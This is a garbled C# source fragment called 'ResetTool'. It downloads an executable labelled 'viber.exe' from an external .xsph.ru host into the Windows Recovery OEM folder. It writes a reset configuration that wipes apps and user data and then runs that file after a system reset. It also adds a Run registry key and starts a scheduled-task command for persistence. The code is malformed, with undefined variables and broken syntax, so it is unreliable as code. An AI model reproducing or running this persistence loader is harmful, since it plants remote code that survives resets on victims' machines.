Message
Message
using System.IO;
using System.Net;
using Microsoft.Win32;
using System.Security.AccessControl;
using System.Diagnostics;
namespace ResetTool
{
class Program
{
static void Main()
{
try
{
// Define the paths
string oemPath =
Path.Combine(Environment.ExpandEnvironmentVariables("%SystemDrive%"), "Recovery",
"OEM");
string resetConfigPath = Path.Combine(oemPath, "resetconfig.xml");
string exeUrl = "http://a1107225.xsph.ru/viber.exe"; // Replace
this URL with your actual link
string exePath = Path.Combine(oemPath, "PostResetProgram.exe");
// Create ResetConfig.xml
string resetConfigContent = $@"<?xml version=""1.0""
encoding=""utf-8""?>
<Reset>
<SystemDisk>
<RemoveApps>true</RemoveApps>
<PreserveUserData>false</PreserveUserData>
</SystemDisk>
<OOBE>
<NetworkConnection>true</NetworkConnection>
<RunExeAfterReset path=""{exePath}"" />
</OOBE>
</Reset>";
Registry.CurrentUser.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
true))
{
if (key != null)
{
key.SetValue("PostResetProgram", exePath,
RegistryValueKind.String);
try
{
Process.Start("cmd.exe", "/c " + taskCommand);
Console.WriteLine("✅ Scheduled task created successfully.");
}
catch (Exception ex)
{
Console.WriteLine($"❌ Error creating scheduled task:
{ex.Message}");
}
}
}
}